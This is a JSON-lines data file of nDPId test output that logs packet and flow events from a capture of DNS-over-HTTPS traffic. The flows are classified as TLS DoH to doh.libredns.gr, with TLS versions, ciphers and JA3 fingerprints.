+00460{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":200505,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHsYVAAL0GQIIKAAABuetRAa5gAbtwXMXbYngOolAYAfXL4gAAFwMDABpkAy2DcHSwTsuSkNcwKgKpj4HfPu76yEIDAg=="} +00468{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":200811,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLLphAADQGTGy561EBCgAAAQG7rmBieA6icFzF21AYA+oe\/wAAFwMDAB7b+0jOYo\/js\/ehKs1iaVpQoq6acxniQAyvrVvOuW4="} +00925{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":201546,"pkt_caplen":426,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":426,"pkt_l4_len":392,"pkt":"ZmZmZmZmRERERERECABFAAGcLplAADQGSxq561EBCgAAAQG7rmBieA7FcFzF21AYA+piuwAAFwMDAW8+QknKrSvrEORXbc3BxgGqVBT9gHYOJxsT0WqXtD1gIqTIx+ViuzTBtbYuVpeM8bsI2qDkppRAZv81Pchbzyl2Us0zrFAgWhW1tIuDSdErP\/nHzHEAjju65rO0rylJb\/84bIhYX\/O82P74DvDMVorcrDcQN+BboufFH+vlLLWKF7lcb55ijgqNOu9cbnoy0mA8Ai50ccp3klbRIccpMTJ4qJnJsuPZtnWpHsO95Se\/eQBW5wFr+uVzFIRCmP1qBh46BNLb6468hFCEFL\/x0AWrhR1h4cnO1QFeWv\/+6pszrjWcGNwq\/54tFkcBs8UFH3eYSPxBA6\/VY86AO4AOCNnkPy3ZVXCY3LIAlLRm7Hg36Ckun8zSNy81KR+q9ak1zP9vrsN1axahiGUJMTzwYVmCV6aKpNSxWdk48iKwOWkVfLtkUFK4B8o+0LNn1UOfBZ3jqEJgbgtBOt7VUMFDIOza5C5xQB\/d4OmdmTHjTHAv"} +00562{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":201991,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRsYdAAL0GQDYKAAABuetRAa5gAbtwXMX6YngQOVAYAfXMLAAAFwMDAGSEo\/0HVN70U3LD84aFwnYU72kbbcOdnR4IUAorhgyfkrydviphMRRUBK7XywVj\/e6ebDlhw5wz8l0KQpjj7cxDJPaDZfnFlA4bLsv6yubH6x3Uv5hY2KnWoT75gsNnY20o72OE"} +00569{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":202070,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWsYhAAL0GQDAKAAABuetRAa5gAbtwXMZjYngQOVAYAfXMMQAAFwMDAGlLuu+sOO5zwbHTqC5v0+od3QT52CcIsKB0FjrKgo8A76KNx9J4Oqy+5cs3nXisfXMpFKybtbsx2TWRWEuuG7dbNC+7EcYZAA\/HRaM4BqIhhJg1vo7M0W+Q+PWOtvYmdhMe5vk3QP1iPPs="} +00670{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739354,"pkt_ts_usec":221815,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ZmZmZmZmRERERERECABFAADhLptAADQGS9O561EBCgAAAQG7rmBieBA5cFzG0VAYA+o\/4QAAFwMDALRS4p0Y2oLal+dIwwUi8onL7JYp3e8vzyVgT62EryJaIF0vLW+ycwACSmYigwZ5H1E9iB2F8QnTx29dJ5xKqyqppqVt6+Y8J16ikBpVeKDkkMdnAnVIEYYc7AWc\/Tad+OYIHPw2zdLIR3GJ2uTWm5ABg8ov55BM3CIJLS3v6z3qyr6cIMfQMik6ViB8MJfSc8Hsg8bgfVWY7lwy6JmagzzxznAH4AsO7pKByhFQBQiC5Wlow+g="} +00449{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739364,"pkt_ts_usec":914069,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABAM1FAAH4G49gKAAABuelq6LZCAbsgVVasybMcJlAYAfXlwAAAFwMDABPH+HMbtsbylqHqR1SCnzYxY8Hg"} +00449{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739364,"pkt_ts_usec":914174,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABAsYpAAH4Gf4QKAAABuetRAa5gAbtwXMbRYngQ8lAYAfXL2wAAFwMDABNRzPKFC48C1Fna9B1nJzgOx45c"} +00449{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739364,"pkt_ts_usec":914261,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABAP0ZAAH4GE7wKAAABLZm7YJSCAbsJfFYpn271bFAYAfWp6AAAFwMDABObfBxL8bMwvnBw43SK8etxZJTY"} +00449{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739364,"pkt_ts_usec":937875,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"ZmZmZmZmRERERERECABFAABAvvpAADkGnS+56WroCgAAAQG7tkLJsxwmIFVWxVAYAfUuaQAAFwMDABOXRSu08WL10pc3CGxVUSKDv69S"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":287,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":946739374011,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"116.202.176.26","src_port":43106,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00802{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":11190,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"REREREREZmZmZmZmCABFAAFF9DpAAH4GIdcKAAABdMqwGqhiAbtWR3H7NJTy0VAYAfbm2AAAFgMBARgBAAEUAwO\/FCTCx\/QYlyW+S6EGE0TFYQ1H3k3FO+5pvJMM4NWMBSCY7MF+HV8NsAFc82xlqHj0YcQW9bewwKxZQwscQJJKpgAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAClAAAAFAASAAAPZG9oLmxpYnJlZG5zLmdyAAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIOxloY7MOWvSgZ3hQaojp9inJ84Sw+igf7hW9Y3pU+ch"} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":287,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":946739374011,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"116.202.176.26","src_port":43106,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.libredns.gr","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04655{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":36272,"pkt_caplen":3179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3179,"pkt_l4_len":3145,"pkt":"ZmZmZmZmRERERERECABFAAxdEw5AADYGP+x0yrAaCgAAAQG7qGI0lPLRVkdzGFAYAfXx8AAAFgMDAHoCAAB2AwMfdsQbzuiYRNDg0SBjCCwcHmnTX\/WaALeQBUBykWdcaiCY7MF+HV8NsAFc82xlqHj0YcQW9bewwKxZQwscQJJKphMCAAAuACsAAgMEADMAJAAdACCFS52dOnPWMZ+6KGOu9y\/QLNkNywSlNldrBcP9ygUsJBQDAwABARcDAwAkRYbUEe0KLtMYBo7DwIYWcyipqqBN\/bxVehyh0Sw6cb936jKFFwMDChoofwyGB1vpwXv7Xn4hXSbG1vtIeMernYPn5eAfJWckDiE1Vl5RxqW26TSWUTfmtG\/80SN\/HcC8sF8BZiFAAmCY47UJ7uXvVoDqw8BmwUzQhTAJ8CR9FaoGVeJsM5UnR3QsIEHqP5KqlB9iD+UdFFEShzmfIEBTbyB2lP4pQWBOWz2wOPIXZhQnKMJCxu1mnXifSB+KRolJ9fD2dQ4Cx5+85+F56fGG9StYfwFmGPIeJARJjwh49nZDI4iYWv+ddPBM2\/KJRuF+1TvTRam5R+I0m2+MFl1IOG\/mGs22lUpFRiEafHau8IgYwLtIsVJVRXeEF23eSSLjZSGlI+95kanzpb7Gq+bxaPB\/4KE\/EZB\/HHORaklfdEzQyROMT29wGcN987isDVey45rLfbLMKOZqZTAfIY9fCmEJfoMGXsfxScuGJL3kk9ktG5XOrDaDe+Mw8iBMs6aCgsJWCKp9AlmnI6jM+Pkj5pJEm1bom4ksHEDAz1NZ0ftN\/sVLZn9Ug2C7F7lT1GzkA6PKlKc6EZ2z5CZ6jJ2Z6Y6MlAZziPoOQu4qTh3J+nE8GcgGOJ+4zh9BbyrU\/zs1GjsbXVkHAo7jDaYOsfbK6OwpKfl4fhdC60RX1KjskIAX35OHA\/IXKzAnkgHHInCPGyjRoDeCN\/xxIMzVFrKXTCwf2SPOaQSeCd\/JvCgSVj\/dHhq8zdYnlFf+z9VXpf9xqp8dTGqqOXUGFnDAdjBQ71FnqfI6ubmeRFAjPpvyUbaEAnejXwHU9g6Nb1kInR39UeMaOlkv2XbX4eVVedQBnQ80TEebS+RYgvF4z+JaZdzTDBKsiCrr90MrJqELQ15ruqB7RM0T7bzUmBAp55RHbt\/ccY\/TkG\/gVsixMDlDFkIhMYt9MdUi87PoFTfnAamhlvAw7oZO8\/F7iHmtBa\/Ep7E0DP9U5QDAi98hWmChSAXTUreygTLQuqQnUJmosGexWw5Cm8TG3r4N5gnkEVB3HVNF0Bviuw4E\/LgbkZLCP6\/4igcruIsBRgEN00dS6JnGlucNL86jMmrPxWv6fGd6uX4GyIhA8xlh3VmZmkdtEaBCAvedT6MuQU0ug0OS0vhYWi4hpFSwBYkEc7nVVyMbvGRC\/t6cdur00RqtQCHbN+NyMsAYQCMLcN\/MBgJi53gtKoOeVRxL9efr0oSMfPFjg62k6KC1lR+0S5m3Izs0xuBIpZ4qwdqzDBYxqETxd2mAw6qyV9\/+c2vTZTjQfcpnp7y1uBxTcCkKvdXtnytMj88r6V3CNsrCqoiP+HgdZ35NIzfdjE8dt6Do9yQiQH9DyOtUx8mNKBWoW2GsDQem5ZGAtDwjmFRhkWEqvnuAWeKZRQvsxDNQX1VGCheiYk47AXsweypHM0kF7Sz+NMdgmJ2lYhFlZ1\/ixGlfZSk6mjv0hogoEvvV0z6\/T5ayYUiYrSxxE5CRTBXiQ0ShTnl8JnNrX5f1+PEHiTs9VmgpKgcqyhnAx43FvFz+tjAq2kHUpARsisN76U\/4szTnIzPWHuhFJGJXIYtA6KvZZsRr8X45Bjm7782fphZHssP9T11fz+rMBuNZkB+9kENQs834qUDrDWQYlgtgokMydJHahHIc4rs8RwpnWkwnfbjQyRwpkoSDjqKCsoWgqmckVcAlWtfj+PYNdYUV0GJVz3MaCILZ2I6i8QDOlFT6AvpNPYOGoGbJ0wKc\/iRHcSqwHkLOlqAj9rNOane\/dG8vbDHghfqFdeNPvQAcyGldxWfqiN032Vix7+oZXOFXeLNRXDRdMWbSqMlyCprTcKldxAe+jYGRK\/SRNNln4bS6loI5LqK5kRj1qHOQs4VYAvb6aRZkpJmFfA051r9ZTveZwX8QvPcsUhSp6WJroM5RdVgMoZWRw3V3kLzy526l\/XjarCqs7b9zg4\/0UThyCoRZXRIaapKAxcisr606oQ90EO6V1\/rxbH5QoNdmuIBJXUiCC+vi9DaFQhw7IS7rYl6bCaQkE1gKVqVjcfGFNbkwZ6WVIIFLAd4AULNZ0EbDr3Jxz4Q1Kv61lNl9GOAmC73UocSHTqPhV\/xb9YLlv4Qj8A9VyOXsI3ysVAT7Q3JqQoSzzANJennQVJORrvCGjBFhIJA1XuVUswlY7d8l6GIPFEndkzdJv+mqLebs92Ve7y8gHX+5\/N3bWQDbvROspZd9Rw2VYwhVeRkdNNkB9Zd4yf0MJA6FKQTPIvZ1j4Zvrf8Zqj1FK4+Pu5YWK2VzQ1bAzEZ5TAhqXro79v42FstXXH9Bjh6xGWnYs4EgdjNtrw9q9vDDHzkCgGXErTBS5tZpn4eq4iayRQKOUo2Bjzuikc3GCcT7DGLOzNijLOjpstykBtjYEBagL1lzeuQbGqMxLzwOzMZiM6Cr4dH6Ct7enfPKr1l7EDqLb80TAVFsE6E9zPStbSvvDsesVjI0LnHLpiFF3QD7w\/cMgXGCCQFz4kjOyjxN1ueQ3BiQwzUZI\/KQVjymbQQOaDcU\/hamroqvDR3psu8zkzqDRgXxZpAhYSs0ypnNhUomh4K+raYSufO72xoIxT3MchbmB2xOG+FHTInGWwMp665VQ8P5TZyqYPfZdJpda3UJ4l4i+8AGeTKq9cySdx4swdISz3V3xxrTEFxvjq7CgCc0mdfHRwUrslFZ\/8xz\/GkZ7unKM4nUXsR2wjAWglEejYWAjwBH57asssV4a1smVbgfitfljZxOQxeCULZkhU5iCbDWtt61dkKbIg6Z5Ib6wqsZbKsTNF5BUW\/OluqVhEnnxYi4bC2p8oeMOIg9Xp0ohk+2eyHzNnL7PsT\/0TJd+8z\/6rR4GfsNhau8JwG0sVxaM3gQ\/C1BUi59C0tclt8uqB8v4sL+nw1kYxtxvVF+WgZBhsUG6jtsTkz\/h7Vqr1uE1yqk6VMywMNzSK3C6Y5jNYNZlGRunhyx+Wvqoy4kyzKlb5KJu0D6Ibb9tx4jkjfsAgRv1kb1\/YV+5pR9kOWTI7kTR0GhRhEcYVSuszO6GztHF17jUv1HGqvUE2Y1nYTruioVBGxNU2n\/3D8R0H0Ev+WM\/lE1CkAFwkkBnRPnHTXpqQgZZhPNhQeacIL4PiCwXLGj68pqU9sBR5k+Qs1xeKaXL1uB\/+DlBrxDF37H0xYTjNyCifmppE9xs8wUURoGCYQz8YrJzWYbNTp6iS3VA9PqxHbxpwe+T0EJG3w+ckQ4AZZWQJfpeYEAjUJVTV+JzyForU6vnGB\/f4UtM5hkLlLR2yX4QW5z2sMH+oemvxHSO3c4dMYOamZjpEAr8HZR\/eYtA\/+k47KLbbuC8LadTWp9kx60hq9j0ZTOjnZRbmpU7x4+baRS3lSZ4uCKQhRDRs1bz+OmCsokrpdBvyRNmpmdHu7+xcAAbWr3GDiMDDj2MeLocIu6VxMJmWwaV6i6S3OZRKsCOQTd0Jkp8jCBeqO4YH7rnKVrcOwj8x\/xgYsXAwMBGfgS0Z5JTGD28Vyg2LfJHOWz9mr0ZY69GFX94xRplNLJ90YhSqkDA41SrPaRCa\/yRHZpmo6Z1mQO81cAsIuYw3\/dzrRByb+dTIlW9yt\/sOP7usPp6PbdD4rTPrbEK4QR\/+wMzHeanap2HaJcY2tnK9Pk6wr3URSABWoCiW8bBJ44gM\/wYSxUIN9fZQXNHmUFX2+4E+pzfHMX+TPSUHrGMWaQGF+jm8f8JzgtBamlKFf0T7ESBzmOVDFYKLq5HkwIpwu7FecWONEwB4QKksZp77Ks7VMI9z7kgYi8fKP1AlrK0wJXYhtL9bgNIor7UcK\/cBVJ2AclPTcIWxPGf\/H2qC2ccHzN2oQA1YRLpy6QS\/qocCCtoi9irrhlFwMDAEUNWvqMs\/h03WKKdBMbYkawhmSS9CnEEwNmSHsUo0aFsC+NuRuOS7d+gyt4adOBPfCXNUuX7r\/jeMTBHE2RkzGNnd\/d06g="} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":288,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":2,"flow_first_seen":946739374011,"flow_last_seen":946739374036,"flow_tot_l4_data_len":3450,"flow_min_l4_data_len":305,"flow_max_l4_data_len":3145,"flow_avg_l4_data_len":1725,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"116.202.176.26","src_port":43106,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.libredns.gr","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00529{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":36951,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB49DxAAH4GIqIKAAABdMqwGqhiAbtWR3MYNJT\/BlAYAfXmCwAAFAMDAAEBFwMDAEUX9381c\/+R1qgydby2LZz\/D1isDmITv8iB3tIfcLl3X1ZN85j+RzDG7ZR0PP5I0SioKkHY5OtmjMfBNJaLny9tLOB5RTM="} +00535{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":36988,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+9D1AAH4GIpsKAAABdMqwGqhiAbtWR3NoNJT\/BlAYAfXmEQAAFwMDAFElX+TKJBiopImIj2GXQOtwcKaEiElkh8K2UhzQ0jUKPgTXoSqnHz5ocovk7BGGFmhJ86k+WLCOTysTJDvQuF8U0maWZ1+mvmRXguvsmflwWCA="} +00650{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":37045,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"REREREREZmZmZmZmCABFAADT9D5AAH4GIkUKAAABdMqwGqhiAbtWR3O+NJT\/BlAYAfXmZgAAFwMDAKa4vc8Mrjz1P93k75fEHIClEV7TNmkIFwWl\/1AVOuTvIrxY9revacc0XrdxN40np8KrY4KxIZxf4IUauu1u\/n+AqXbQHYwvrskX9qmD6BDtChuI2f36i5DNyXHNbP6X+z0PV63njfV1lCHhAzCnzpgOU6S3kxl+xtdlvsM\/YbjgGP9PXPXPCaKSUZs6ZKIy0FGbC45IvrIAh1RuNDWWb3MhJ43W1rsH"} +00528{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":37083,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB39D9AAH4GIqAKAAABdMqwGqhiAbtWR3RpNJT\/BlAYAfXmCgAAFwMDAErBEp+RCRmvW5q4nPBTjPrqPYQrN9e1zcJm+MqN86VB\/wtIDIh2ZQ5sK4X7Vs9fqI3xfyVjYZ35sRtlPm2QPgJG5LcqIFMzbI\/mRQ=="} +00807{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":59161,"pkt_caplen":341,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":341,"pkt_l4_len":307,"pkt":"ZmZmZmZmRERERERECABFAAFHExJAADYGSv50yrAaCgAAAQG7qGI0lP8GVkd0uFAYAfXWpAAAFwMDARqFYRpHCv0AuYeeLcWXhS8ONuMlRzWz5aoHl+kmWlPJr2sxhtaYT917kvAauPkO3Xp9XwO8snGuMzyEoHdydAsdyAanazZQyxbEYluhwMQbGYriIboZP3S7badMMxsJufZ8Q25ly6DcSMAmG+PLujyg89TQX8lai4R0\/ZmlA7qDt5\/QPsmkCsaP1t8nij\/RWigU\/0rBUIqW7rxD+YZczlQF3fE1IixlK+7B6vrvN4Mp3kB7iECUJJiMJMUyxxFWyEJKzCXWemrk6fsykLQ+3NEBGzjGNnYFwbVQkko1sKIp0qrEQnC+dPKzfSb\/zc0tDtDzQ2sVLFeVNpnKTza35aU6S9smBxKDSYQtP+DqTkm7iOGDkYVjmdNzVrU="} +00806{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":59185,"pkt_caplen":341,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":341,"pkt_l4_len":307,"pkt":"ZmZmZmZmRERERERECABFAAFHExNAADYGSv10yrAaCgAAAQG7qGI0lQAlVkd0uFAYAfXnyAAAFwMDARopwY94GQDXgmzDL+r3w5LldiBN+naTEvhBSahoFBRYB0tiQYBeY5D1QY733PibtgwaCi\/a1X5wand8K2Io68hslErEKp9u9APeYs4w+RQVui0rgReilpY7P54jxnzlziedPyZrJA3PDURTwoGyPqWRm0mv9DqWynyqtyLIHwEKt\/\/f5S8fOIjlgY+AG9PSkgZ5NF5t2thNqHImY+5pDyWJPfLQtDcZKju1ChMkHL8b3Ht+15yr7zQecM085LzHCRp4ouJ015qQc4Qp+ynroU8OEr6W8IZ4Hf4NDSAfDaI0bjyDRvz6a55ezwcsq1jZ3ycvkf7mlwd2dUqR3YLza29eKp7kbK4J8Nx\/HJTeLBzS32fiGuY6wtLTyLc="} +00530{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":59396,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ZmZmZmZmRERERERECABFAAB8ExRAADYGS8d0yrAaCgAAAQG7qGI0lQFEVkd0uFAYAfX5rAAAFwMDAE8depdqBhD9ETbtYMDdlnqpiyyBC9BB37c9LPAGl3O+Np5WcGSeR3Wm2ysJP5BzartGtc0ECkkGy2uXbNzjIbxgPEGcDKO9xZXTUDwZn6LF"} +00460{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":59538,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABH9EFAAH4GIs4KAAABdMqwGqhiAbtWR3S4NJUBmFAYAfXl2gAAFwMDABrOv5D5uEFtV8rwdZASpQ0sp0s7MdM7WrOPqA=="} +00902{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":59959,"pkt_caplen":410,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":410,"pkt_l4_len":376,"pkt":"ZmZmZmZmRERERERECABFAAGMExVAADYGSrZ0yrAaCgAAAQG7qGI0lQGYVkd0uFAYAfVxygAAFwMDAV8xgInnOZrELna9O989ThPKRTHFjryWAm49yWWGdnnGcM+38\/+l51WrTZdDQVLYgLz7Lhv7ovM9MlSuZZjStBTy\/ksEEoq5ZddFyKf9RUVfXfGPhWBj1gNiKjOjzY8R0IQlULCsp0nZ\/SuNKtOGUhTs2XvHk++ktrYn+E0ffT8C\/aGHlJJN9xzut\/6j76VHXggc7kPpSHK+JyyVUZpXA5PfQvQ2Y4PBSZx6E8WMjGdIRUVNafyhU\/Gd91ya6Gx3jHpixqhfQoZFixX2ZTKZIX3X8rj+2NWTN9ZbhchjeBaxz177Fa4Ra5H6PTCAx9rjTxbKQUTO74lJg5ClVs8C96SOpLkJkRPA9+LNDys7\/Y2vuCc94FibTCn9msF2tfhPfMi2f0fm18fYahdCmRbygvhUSU3ivj6v2WUl0MFqKkcgvyywUE2C4U5L0vvKhM4KAqe3kdZGSygqRMP9FixAQe8="} +00562{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":60390,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACR9EJAAH4GIoMKAAABdMqwGqhiAbtWR3TXNJUC\/FAYAfXmJAAAFwMDAGTnU7+AMqNhEenTXEcWxnfetx7wQe6kiwvqtk147rxP0Z9Ir+YBaglmAk805+lm9FAIZGXrw7fAtTVj6fS6vSknrDIlPMEWs3ARiBcNH\/SW411Z7u\/nWpxsXLvDfU8T635pX+d8"} 